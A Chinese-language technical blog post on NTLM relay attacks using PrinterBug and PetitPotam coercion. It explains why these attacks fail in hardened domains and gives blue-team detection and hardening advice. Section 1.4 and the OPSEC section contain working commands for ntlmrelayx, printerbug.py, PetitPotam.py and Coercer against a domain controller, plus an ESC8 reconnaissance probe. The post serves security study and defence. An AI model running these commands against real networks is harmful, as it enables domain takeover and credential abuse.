news 2026/10/15 10:40:49

NTLM Relay 深度实战:PetitPotam + PrinterBug 各种失效原因分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
NTLM Relay 深度实战:PetitPotam + PrinterBug 各种失效原因分析

🔒免责声明:本文仅供授权渗透测试、红蓝对抗、安全运维学习,全部实验操作请在自建隔离靶场完成。未经授权对内网环境进行强制认证、NTLM 中继渗透属于违法行为,请严格遵守网络安全相关法律法规。

前言

NTLM Relay(NTLM 中继)是域渗透里面经典的攻击技术,攻击者诱导目标主机发起 NTLM 认证,捕获认证数据包,把凭证中继转发到另外一台服务器,以受害者身份完成身份认证,实现 DCSync、RBCD 权限提升、AD‑CS ESC8 拿到域控证书等高危操作。

而强制认证(Coercion Authentication)是 NTLM‑Relay 攻击最重要的前置手段,不需要受害者访问攻击者共享文件夹,攻击者主动调用 RPC 接口,迫使目标机器账号主动向攻击者 IP 发起 NTLM 认证。其中最出名两个工具就是PrinterBug(SpoolSample,MS‑RPRN 打印漏洞 CVE‑2021‑34527)和PetitPotam(MS‑EFSRPC 加密文件系统 CVE‑2021‑36942)。

很多同学跟着网上教程在靶场一遍成功,但是放到真实护网、红蓝对抗环境,无论怎么跑脚本,完全没有中继结果,没有任何报错,抓包看不到 NTLM 交互。网上绝大多数教程只给成功复现命令,很少系统梳理整套链路失效根因:RPC 调用失败、补丁拦截、SMB 签名、LDAP 签名、EPA 扩展身份保护、MIC 完整性校验、防火墙、RPC 权限、NTLM 组策略限制等。

本文万字长文,从 NTLM‑Relay 底层原理,强制认证攻击链路,PrinterBug 与 PetitPotam 原理与完整实操命令,逐条拆解每一类失效场景,区分靶场与生产环境差异,整理完整排错流程,红队 OPSEC 注意事项,蓝队检测与加固方案。适合内网渗透学习者、红队、护网应急工程师阅读。

工具清单

  1. Impacket ntlmrelayx:经典中继工具,支持 SMB、LDAP、HTTP、HTTPS 多协议中继;
  2. PetitPotam.py:MS‑EFSRPC 强制认证脚本;
  3. SpoolSample / PrinterBug.py:MS‑RPRN 打印服务强制认证;
  4. Coercer:集合多种强制认证 RPC 接口(PrinterBug、PetitPotam、DFSCoerce 等);
  5. Responder:LLMNR/NBT‑NS 中毒捕获 NTLM 哈希;
  6. Certipy‑relay:专门针对 AD‑CS ESC8 场景的中继工具。

攻击完整链路总览
攻击者 → RPC 调用 (PrinterBug/PetitPotam) → 目标 DC 服务器 → 目标 DC 主动向攻击者 IP 发起 NTLM 认证 → 攻击者捕获 NTLM 认证包 → 将认证中继转发到目标服务 (LDAP /certsrv/SMB) → 完成身份认证执行恶意操作。

重点:整条攻击链路分为两大段:第一段强制认证(让受害者来找我),第二段 NTLM 中继(把凭证转发到目标)。任何一段失效,整体攻击直接失败。很多人混淆,分不清是强制认证失败,还是中继环节失败。

一、NTLM 协议与 NTLM‑Relay 底层原理

1.1 NTLM 认证三次握手

NTLM 认证一共 3 个报文:

  1. NEGOTIATE 协商:客户端发送协商报文,声明支持的安全标识;
  2. CHALLENGE 挑战:服务端返回 8 字节随机挑战值;
  3. AUTH 认证:客户端使用账号 NTLM 哈希加密挑战,返回认证应答。

NTLM Relay 攻击核心思想:攻击者充当中间人。把客户端 NEGOTIATE 转发后端真实服务器,拿到 Challenge,再把 Challenge 返回给原客户端;拿到客户端加密后的 AUTH 应答,再转发给后端服务器完成登录。攻击者不需要破解 NTLM 哈希,直接复用完整 NTLM 认证会话完成登录。

NTLMv2 重要的 MIC 字段(Message Integrity Code 消息完整性校验码),用于检测中间人篡改报文。一旦开启 MIC 校验,修改、转发 NTLM 数据包会直接认证失败,现代 Windows 默认生成 MIC。

1.2 强制认证 Coercion Authentication 是什么

传统 NTLM Relay 依赖 LLMNR 中毒,需要受害者主动访问攻击者 SMB 共享。而强制认证是攻击者主动调用 Windows RPC 接口,远程让目标服务器(域控)机器账号主动对外发起 NTLM 认证请求,目标机器账号 SYSTEM 权限出站,所以中继拿到的是高权限机器账号凭证。

  • PrinterBug:调用 MS‑RPRN 打印 RPC 接口;
  • PetitPotam:调用 MS‑EFSRPC 加密文件系统 RPC 接口;
  • DFSCoerce:DFS 分布式文件系统 RPC;
  • Coercer 工具集成全部已知强制 RPC 接口。

关键点:强制认证成功 ≠ 中继攻击成功。强制认证成功,代表受害者确实访问攻击者 IP;但是中继目标开启签名、EPA、MIC 校验,中继依旧失败。

1.3 NTLM‑Relay 常见中继目标场景

  1. 中继 LDAP:域控 LDAP 389 端口,执行 RBCD,给机器账号配置基于资源的约束委派,后续拿到域控权限;
  2. 中继 HTTP /certsrv AD‑CS Web 注册(ESC8):向 CA 申请域控制器证书,拿到 pfx 证书 PKINIT 换取 TGT,DCSync 导出域凭证;
  3. 中继 SMB:445 端口,获取目标主机 SAM 哈希;现代域环境 DC 全部开启 SMB 强制签名,SMB‑to‑SMB 中继几乎失效。

1.4 靶场最简完整演示(PrinterBug + ntlmrelayx 中继 LDAP)

# 1.关闭Responder里面SMB服务器,445不能被Responder占用 vim /etc/responder/Responder.conf SMB = Off HTTP = Off # 2.启动ntlmrelayx,监听本机445,中继到域控LDAP,开启RBCD攻击 python3 ntlmrelayx.py -t ldap://192.168.10.10 --add‑computer # 参数说明:‑t 指定中继目标;‑‑add‑computer成功后添加机器账号执行RBCD # 3.新开终端执行PrinterBug,诱导域控向攻击者IP(192.168.10.20)发起认证 python3 printerbug.py lab.local/lowuser:Password123@192.168.10.10 192.168.10.20

PetitPotam 基础调用命令:

python3 PetitPotam.py 192.168.10.20 192.168.10.10 -u lowuser -p Password123 -d lab.local

Coercer 批量调用所有可用 RPC 接口,自动探测哪一个强制接口可用:

coercer coerce -u lowuser@lab.local -p 'Password123' -dc‑ip 192.168.10.10 -target 192.168.10.10

注意:2021 年 8 月之后的补丁,PetitPotam不再支持未认证调用,必须提供普通域账号凭据;PrinterBug 一直需要合法域账号凭据才可以调用 RPC 接口。

二、PrinterBug 与 PetitPotam 详细原理

2.1 PrinterBug(SpoolSample MS‑RPRN CVE‑2021‑34527)

漏洞原理:Windows 打印后台处理程序 PrintSpooler 提供 MS‑RPRN RPC 协议接口。域内任意普通域用户,远程调用 RpcRemoteFindFirstPrinterChangeNotificationEx 函数,传入 UNC 路径参数\\攻击者IP,目标服务器 PrintSpooler 服务(SYSTEM 权限)会主动向传入 IP 发起 SMB/NTLM 身份认证。

前置条件:

  1. 目标主机 Print Spooler 打印服务处于运行状态;
  2. 防火墙允许访问目标 RPC 端口 135 以及动态 RPC 端口;
  3. 调用者拥有普通域账号凭据,不需要管理员权限;
  4. Windows 没有组策略阻止 PrintSpooler 远程 RPC 调用。

域控服务器安全最佳实践:建议直接关闭 Print Spooler 打印服务。但是很多企业运维图方便,域控没有关闭打印服务,因此 PrinterBug 依然可以利用。

2.2 PetitPotam MS‑EFSRPC CVE‑2021‑36942

漏洞原理:MS‑EFSRPC 加密文件系统远程协议,最初未打补丁版本支持未认证调用EfsRpcOpenFileRaw,传入 UNC 路径,目标 SYSTEM 发起 NTLM 认证。微软 KB5005413 补丁修复未认证调用,修复之后 PetitPotam 必须提供合法域账号才可以调用,但是部分其他 EFSRPC 函数依旧可以完成强制认证,没有完全死亡。

前置条件:

  1. 目标 EFS 加密文件系统服务运行;
  2. 防火墙允许访问 RPC 135 与动态 RPC 端口;
  3. 打补丁之后必须提供有效的域普通账号凭据。

很多人的误区:打补丁之后 PetitPotam 完全失效。错!补丁只是干掉未认证调用,授权账号依旧可以触发强制认证,这也是护网环境经常踩坑点。

2.3 PrinterBug VS PetitPotam 对比

项目PrinterBug(MS‑RPRN)PetitPotam(MS‑EFSRPC)
依赖服务Print Spooler 打印服务EFS 加密文件系统服务
打补丁前普通域账号调用支持未认证调用
打补丁之后依旧普通账号调用必须域账号凭据,部分接口可用
域控默认状态很多企业没有关闭打印服务EFS 服务默认开启
失败特征PrintSpooler 停止直接调用报错EFSRPC 接口不可访问返回 RPC 绑定失败
适用系统Windows 全系列Windows 全系列

三、第一大类失效:强制认证阶段失败(RPC 调用就失败,受害者根本不会连接攻击者 IP)

现象:执行 printerbug /petitpotam 脚本直接报错,或者脚本输出看似执行成功,但是 Wireshark 抓包看不到目标服务器向攻击者 445 端口发起连接。整条攻击死在第一步,NTLM 中继完全收不到任何会话。下面逐条根因。

3.1 Print Spooler 服务停止(PrinterBug 最常见失效)

现象:执行 printerbug 脚本抛出异常,RPC 调用失败。
根因:目标服务器 Print Spooler 服务状态 Stopped。域控安全基线经常要求关闭打印服务,PrinterBug 直接彻底失效。
排查:远程查询目标服务状态。

Get‑Service‑Name Spooler ‑ComputerName dc01.lab.local

解决:放弃 PrinterBug,切换 PetitPotam、DFSCoerce 其他强制认证接口。

3.2 Windows 防火墙拦截 RPC 通信(135 + 动态 RPC 端口)

RPC 协议工作流程:先连接 TCP 135 端口,协商出一个随机动态高位端口,后续真正 RPC 通信走动态端口。
如果目标防火墙阻止入站 135,或者阻止动态 RPC 端口范围,PrinterBug/PetitPotam 脚本直接无法绑定 RPC 接口,调用失败。
现象:脚本报RPC Server unavailable、abstract_syntax_not_supported。

很多域服务器防火墙默认域配置允许 RPC;部分加固基线收紧防火墙规则,直接拦截。

3.3 微软安全补丁加固 RPC 接口行为

  1. PetitPotam CVE‑2021‑36942 KB5005413 补丁:禁用未认证 EfsRpcOpenFileRaw 调用,必须提供域账号,不带账号执行脚本直接失败,但部分 EFSRPC 函数依旧可以强制认证Microsoft …。
  2. 后续累积安全更新,MS‑EFSRPC 增加 RPC_C_AUTHN_LEVEL_PKT_PRIVACY 隐私级别校验,客户端认证级别不足直接拒绝调用,很多旧版本 PetitPotam 脚本没有适配该校验,调用直接返回拒绝访问腾讯云。

表现:脚本执行没有崩溃,但是目标完全不会向外发起认证请求。此时优先使用更新版本 Coercer 工具,内部实现多种 EFSRPC 变种函数。

3.4 调用账号权限不足,域账号被禁用锁定、密码过期

虽然 PrinterBug/PetitPotam 只需要普通域用户,但账号状态异常依旧 RPC 调用失败:账号锁定、账号禁用、密码过期。

报错现象:DCERPC 绑定阶段返回 STATUS_ACCOUNT_LOCKED。

3.5 网络出站防火墙阻止目标向外访问攻击者 IP

注意:这里是目标服务器出站防火墙,不是入站。
RPC 调用成功,但是域控机器 SYSTEM 出站访问攻击者 IP(445)被防火墙策略拦截,不会发起 NTLM 连接。
抓包看不到从 DC 发往攻击者 445 的 TCP 握手包。这种坑非常隐蔽,脚本不会报错,看上去执行完成,但是没有任何认证流量。

3.6 机器不出网:NetBIOS 解析问题,UNC 解析失败

脚本传入攻击者 IP,部分 Windows 环境 UNC 路径解析异常,不会触发对外 SMB 连接。
最佳实践:直接使用 IP 格式\\x.x.x.x,尽量不要传入主机名 DNS 名称,规避解析失败。

3.7 组策略禁止 PrintSpooler 远程 RPC 调用

组策略可以配置禁止 Print Spooler 远程访问,即使服务正在运行,外部主机无法调用 MS‑RPRN 接口,PrinterBug 失效。

四、第二大类失效:强制认证成功,但是 NTLM 中继环节失败(受害者已经访问攻击者,但是中继转发之后认证失败)

现象:Wireshark 抓包,已经看到域控向攻击者 445 建立 TCP 连接,完整 NTLM 三次握手完成,ntlmrelayx 收到 NTLM 会话,但是转发中继到目标服务器返回Access‑Denied,攻击无法完成。这是实战最高频踩坑。

4.1 SMB 强制签名开启(SMB‑to‑SMB 中继直接死亡)

根因:SMB 签名 SMB Signing,服务器开启强制要求 SMB 签名。中继攻击无法生成合法会话签名,认证直接失败。
Windows Server 域控制器默认配置 SMB 强制签名。

所以 SMB‑to‑SMB 中继在现代域环境几乎无法利用,不要尝试中继到 DC 的 445。
可以中继目标:LDAP 389、HTTP (certsrv),避开 SMB 协议。

区分两个级别:

  1. 如果服务器设置 “如果协商则启用签名”:可以中继;
  2. 设置 “始终要求签名”:SMB 中继彻底失效。

4.2 LDAP 服务开启 LDAP 签名 / LDAP 通道绑定

当中继目标是 LDAP(域控 389 端口,用于 RBCD 攻击):
域控组策略开启需要 LDAP 签名(Require LDAP Signing),NTLM 中继 LDAP 直接失败。Windows Server2022 23H2 之后新建域控,LDAP 签名默认强制开启。
LDAPS 636 端口还会校验通道绑定信息,中继工具无法伪造通道绑定令牌,认证拒绝。

现象:ntlmrelayx 收到 NTLM 会话,转发 LDAP 之后返回拒绝访问,不会报错签名相关,日志模糊。

4.3 AD‑CS /certsrv Web 站点开启 EPA 扩展身份保护(ESC8 攻击最经典坑)

EPA(Extended Protection for Authentication 扩展身份保护),IIS 服务端校验通道绑定令牌。攻击者中继 HTTP NTLM 数据包的时候无法伪造通道绑定,认证直接 403 拒绝,ESC8 攻击失效。

Windows Server2019 之后新安装 AD‑CS,Web 注册站点 IIS默认开启 EPA,靶场很多环境人为关闭 EPA,所以教程可以复现,真实生产环境直接失败。
很多同学靶场 ESC8 一遍过,到真实红蓝对抗完全拿不到 pfx 证书,90% 原因就是 EPA 开启。

4.4 NTLMv2 MIC 完整性校验

NTLMv2 协议 MIC 消息完整性码,用于检测中间人篡改。当 MIC 标志置位,中继修改转发报文,后端服务校验 MIC 失败,直接拒绝登录。

Impacket 旧版本曾经有移除 MIC 的尝试,但是现代 Windows 校验更加严格,移除 MIC 会直接校验失败,没有通用绕过手段。

4.5 组策略 Restrict‑NTLM 限制 NTLM 认证

域组策略 “网络安全:限制 NTLM”,目标中继服务拒绝外部 NTLM 认证,只允许 Kerberos。即使拿到 NTLM 完整应答,转发过去直接拒绝访问。

4.6 中继账号权限不足(机器账号没有对应操作权限)

  1. 中继 LDAP 执行 RBCD:需要机器账号拥有修改目标计算机对象 msDS‑AllowedToAct 属性权限;普通域机器账号默认权限不足,中继成功但是添加 RBCD 失败;
  2. 中继到 AD‑CS /certsrv:机器账号必须有权限申请 DomainController 证书模板;模板注册权限收紧会申请证书返回拒绝。

很多人以为中继成功就一定可以拿权限,忽略对象 ACL 权限问题。

4.7 端口占用冲突:Responder 占用 445、80 端口

ntlmrelayx 需要监听本机 445 端口。Responder 默认开启 SMB 服务,占用 445 端口。
现象:ntlmrelayx 启动直接报错端口被占用。

解决:修改 Responder.conf,设置SMB=Off HTTP=Off,重启 Responder。

4.8 跨网段防火墙阻断中继服务器和目标服务之间流量

攻击者机器可以收到 DC 过来 NTLM 连接,但是攻击者机器无法访问中继目标(LDAP 389、certsrv 80),转发数据包丢包,中继会话超时失败。

五、其他隐蔽失效场景、混淆误区

5.1 区分:强制认证成功不等于中继成功

Coercer、printerbug 脚本输出[+] Triggered coercion仅仅代表 RPC 调用发送出去,不等于目标主机成功发起 NTLM 认证,更不等于中继成功。
一定要以抓包为准,看是否有目标 DC 访问攻击者 445 的 TCP 流,不要迷信脚本打印输出。

5.2 NTLMv1 与 NTLMv2 影响

现代 Windows 全部使用 NTLMv2,MIC 完整性校验开启。靶场有时候会调低安全等级开启 NTLMv1,靶场容易成功,现实环境不支持 NTLMv1。

5.3 反射攻击 Reflection 坑(攻击者 IP 和目标 IP 同一台机器)

不要把攻击者 IP 设置为被强制的目标主机 IP,会触发 NTLM 反射防护机制,Windows 会拒绝本机账号向本机发起 NTLM 认证。

5.4 多网卡,IP 填写错误

攻击者主机多网卡,printerbug/petitpotam 传入错误网卡 IP,目标 DC 访问到错误网卡,ntlmrelayx 收不到会话。务必填写内网可达 IP,不要填 127.0.0.1,不要填公网 IP。

5.5 时间同步问题

NTLM 协议对时间不敏感,但是中继之后执行 LDAP、申请证书操作依赖系统时间,攻击者主机与域控时间差过大,后续操作报错。

六、完整排错工作流(实战遇到中继完全没有结果,按顺序排查)

当执行 PrinterBug/PetitPotam+ntlmrelayx,没有拿到预期结果,严格按照下面流程定位,区分是强制认证失败,还是中继失败。

  1. 第一步:抓包确认流量,Wireshark 观察
    过滤器tcp.port ==445
    • 如果看不到 DC 发往攻击者 445 的 TCP‑SYN 包:代表强制认证阶段失败,问题出 PrinterBug/PetitPotam RPC 调用层面。
    • 如果可以看到 DC 到攻击者 445 完整 TCP 三次握手,NTLM Negotiate‑Challenge‑Auth 完整交互:强制认证成功,问题出在中继转发环节。
  2. 强制认证失败排查清单(看不到 DC 过来 445 连接)
    1. PrinterBug:确认目标 PrintSpooler 服务是否正在运行;
    2. 确认防火墙:攻击者可以访问目标 135 端口,RPC 动态端口没有拦截;
    3. 确认调用账号:账号没有锁定、禁用、密码过期;
    4. 目标出站防火墙没有拦截访问攻击者 IP 的 445;
    5. 更换工具,使用 Coercer 全部 RPC 接口批量探测,PrinterBug 不行换 PetitPotam,PetitPotam 不行尝试 DFSCoerce;
    6. 使用 IP 格式\\x.x.x.x,避免主机名解析异常;
    7. 确认已经打安全补丁,旧版本脚本适配问题,升级 Impacket、Coercer、PetitPotam 到最新版本。
  3. 强制认证成功,但中继失败排查清单(已经收到 NTLM 会话,但是认证拒绝)
    1. 确认中继目标协议:不要中继到 DC 的 SMB445,域控 SMB 强制签名;优先 LDAP389 / HTTP certsrv;
    2. 如果中继 LDAP:确认域控组策略没有开启 “要求 LDAP 签名”;LDAPS636 通道绑定会阻断中继,尽量使用 389 明文 LDAP;
    3. 如果中继 AD‑CS ESC8:检查 IIS 站点 EPA 扩展保护是否开启,开启 EPA 直接 ESC8 失效;
    4. 检查 ntlmrelayx 本机端口没有被 Responder 占用;
    5. 确认攻击者主机网络可达中继目标对应端口;
    6. 确认中继之后执行操作需要的 ACL 权限,机器账号是否拥有对应权限;
    7. 确认域组策略没有 Restrict‑NTLM 限制 NTLM 协议。
  4. 日志查看:仔细阅读 ntlmrelayx 完整输出,很多报错信息容易被忽略。

七、红队 OPSEC 实战经验总结

  1. 靶场成功 ≠ 生产环境可用
    绝大多数靶场为了复现方便,关闭 SMB 签名、关闭 LDAP 签名、关闭 EPA、没有完整 Windows 累积补丁;真实企业域环境大量加固,PrinterBug/PetitPotam 经常全部失效。
  2. 不要死磕单一强制接口。PrinterBug 失败立刻切换 PetitPotam,PetitPotam 不行使用 Coercer 跑全部 RPC 接口,DFSCoerce 也是很稳定替代方案。
  3. ESC8 攻击前优先探测 EPA 状态:
curl ‑v http://ca‑ip/certsrv # 查看响应头是否存在X‑Extended‑Protection标记,存在代表EPA开启,ESC8基本不可行。
  1. SMB‑to‑SMB 中继现在几乎淘汰,尽量选择 LDAP、HTTP 协议中继目标。
  2. PetitPotam 打完 CVE‑2021‑36942 补丁之后,不再支持未认证调用,必须传入合法域账号凭据,不要网上复制旧无参 PoC 直接跑。
  3. 防火墙是中继攻击最大敌人:入站拦截 RPC 会导致强制认证失败;出站拦截 445 导致 DC 连不到攻击者;中间网络防火墙阻断攻击者访问 LDAP/certsrv 导致中继转发失败。
  4. MIC 完整性校验是硬防护,现代 Windows 没有通用绕过。
  5. 红蓝对抗中,NTLM Relay 整条攻击链路失败概率很高,不要把渗透路径完全押在中继上面,准备多条备选攻击链,例如 AD‑CS 模板漏洞、Shadow Credentials 影子凭证。

八、蓝队视角:NTLM Relay + 强制认证攻击检测、日志、加固方案

8.1 关键 Windows 安全事件 ID

  1. 4672 特权登录事件:机器账号 SYSTEM 权限登录;
  2. 4624 登录事件 Logon Type 3 网络登录,域控机器账号从陌生 IP(攻击者 IP)进行网络登录,属于异常告警;
  3. RPC 服务日志:MS‑RPRN、MS‑EFSRPC 远程 RPC 调用记录;
  4. IIS 日志:/certsrv 证书注册接口异常 POST 请求(ESC8 中继);
  5. 网络流量基线:监控域控向外网、内网陌生 IP 发起 445 SMB 连接,域控正常业务几乎不会主动向外发起 SMB 访问。

8.2 逐条加固方案

  1. 域控关闭 Print Spooler 打印服务,从根源干掉 PrinterBug 攻击面,业务不需要打印务必关闭;
  2. 收紧防火墙策略:域控限制 RPC 动态端口访问,非管理 IP 禁止访问 135 与 RPC 动态端口;限制域控出站 445 访问非业务服务器;
  3. 组策略开启SMB 强制签名,防御 SMB‑SMB 中继;
  4. 域控组策略开启需要 LDAP 签名,阻断 LDAP 中继攻击;
  5. AD‑CS Web 注册 IIS 站点务必开启EPA 扩展身份保护,防御 ESC8 NTLM 中继攻击;业务不需要 certsrv 直接卸载 Web 注册组件;
  6. 部署 Restrict‑NTLM 组策略,逐步审计、限制域内 NTLM 认证,优先迁移全部业务至 Kerberos;
  7. 定期安装 Windows 安全累积补丁,修补 MS‑EFSRPC 各类强制认证漏洞;
  8. SIEM 告警:监控域控机器账号从异常源 IP 产生 4624 登录;监控域控向外发起 445 出站连接;监控大量 RPC 调用行为。

重要认知:只打补丁无法完全根除强制认证攻击。PrinterBug/PetitPotam 只是两个已知 RPC,还不断出现新的 RPC 强制认证接口(DFSCoerce 等),因此流量审计、防火墙、协议签名加固是更有效的防御手段。

九、常见认知误区总结

误区 1:打了 PetitPotam 补丁 CVE‑2021‑36942,PetitPotam 就彻底不能用

❌错误。补丁只拦截未认证的 EfsRpcOpenFileRaw 调用,提供合法域账号凭据,其他 EFSRPC 函数依旧可以触发强制认证,实战中仍然可以利用。

误区 2:脚本打印输出Triggered coercion就代表攻击成功

❌错误。只是 RPC 请求发送出去,不等于目标成功发起 NTLM 连接。必须以抓包流量作为判断标准。

误区 3:PrinterBug 失效,NTLM Relay 整条攻击就没有办法实施

❌错误。PrinterBug 仅仅是众多强制认证接口的其中一个,还有 PetitPotam、DFSCoerce 等其他 RPC 接口,使用 Coercer 批量枚举。

误区 4:靶场 ESC8 复现成功,生产环境一定可以利用

❌错误。新版 Windows AD‑CS 默认开启 EPA 扩展身份保护,直接阻断 ESC8 中继,绝大多数生产环境 ESC8 已经很难利用。

误区 5:关闭 SMB 签名就会被 SMB 中继,开启 SMB 签名就可以防御全部 NTLM Relay

❌错误。SMB 签名只防御 SMB 协议中继,LDAP、HTTP 协议 NTLM 中继不受 SMB 签名影响,必须单独配置 LDAP 签名、EPA。

误区 6:看到 ntlmrelayx 收到 NTLM 会话,代表攻击一定成功

❌错误。收到 NTLM 仅仅代表拿到中继原始报文;后端目标服务签名、MIC、通道绑定校验依旧可以拒绝认证。

误区 7:NTLM Relay 攻击全部依赖 SMB 445 端口

❌错误。强制认证可以触发 HTTP NTLM,中继目标可以是 LDAP、HTTP 等多种协议。

十、总结

NTLM Relay + PrinterBug/PetitPotam 强制认证分为两段链路:RPC 强制认证、NTLM 中继转发。实战环境攻击失败,一定要区分问题发生在哪一个环节,优先使用 Wireshark 抓包定位,不要迷信脚本打印输出。

强制认证阶段常见失效根因:打印服务停止、防火墙拦截 RPC135 / 动态端口、补丁加固 RPC 接口、账号状态异常、出站防火墙拦截 445、UNC 解析异常。

中继转发阶段常见失效根因:SMB 强制签名、LDAP 签名、EPA 扩展身份保护、MIC 完整性校验、Restrict‑NTLM 组策略、ACL 权限不足、端口占用冲突。

靶场为了教学,会人为关闭各类防护机制,复现很顺利;真实企业域环境防护配置齐全,整条攻击链路失败概率非常高。红队实战建议使用 Coercer 工具批量探测全部强制 RPC 接口,准备多条备选攻击路径。

蓝队防御不能仅仅依赖打补丁,因为会持续出现新的强制认证 RPC 接口;加固重点:关闭不必要服务、收紧防火墙、启用协议签名(SMB、LDAP)、AD‑CS 站点开启 EPA,监控域控异常出站 445 流量,审计机器账号异常网络登录事件。


最后

关于网络安全技术储备

学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!

对于0基础小白入门:

如果你是零基础小白,想快速入门网络安全是可以考虑的。

一方面是学习时间相对较短,学习内容更全面更集中。

二方面是可以找到适合自己的学习方案

包括:网安成长学习路线图、SRC&黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全!

需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)

👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

随着互联网技术的飞速发展,网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等,以其强大的语言理解和防御能力,正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 10:39:05

超帧hyperframes:多机器人时空状态与不确定性建模实践

做多机系统或者自动驾驶工程的朋友,应该都经历过这种场景:明明每台机器人都在用自己的里程计、IMU、视觉定位输出“我在哪”,结果一汇总,要么时间基准对不上,要么同一时刻有多套互相矛盾的位姿。你需要的其实不是更准的…

作者头像 李华
网站建设 2026/10/15 10:38:11

Go版本管理工具goup使用指南与性能对比

1. 为什么需要快速升级Go版本 作为一门持续演进的语言,Go的版本迭代速度相当快。从1.11引入modules到1.16默认启用,再到1.18加入泛型,每个重要版本都带来关键改进。在实际开发中,我们经常遇到这些场景: 新项目需要使用…

作者头像 李华
网站建设 2026/10/15 10:37:59

Flink整合Kafka报Objenesis类加载异常的根因与修复方案

1. 项目概述:Flink整合Kafka时抛出“objenesis”相关异常的本质问题 你刚把Flink作业提交到集群,Kafka作为数据源配置好, FlinkKafkaConsumer 也初始化完毕,结果任务启动瞬间就卡住,日志里赫然跳出一行红字&#xf…

作者头像 李华
网站建设 2026/10/15 10:37:29

RH134-RH294模拟机房环境搭建指南:从启动到评分避坑全解析

简介:RH134与RH294是红帽官方认证备考中常用的两套模拟培训环境,分别对应RHCSA(红帽认证系统管理员)与RHCE(红帽认证工程师)方向。这份PDF格式的环境说明文档,面向正在准备认证考试的Linux运维工…

作者头像 李华
网站建设 2026/10/15 10:37:22

光伏MPPT算法优化:模糊控制与分段策略实践

1. 项目背景与核心价值 光伏发电系统在实际运行中面临的最大挑战就是如何在不同光照强度和温度条件下持续追踪最大功率点(MPP)。传统MPPT算法如扰动观察法(P&O)和电导增量法(INC)在动态环境下的表现往往…

作者头像 李华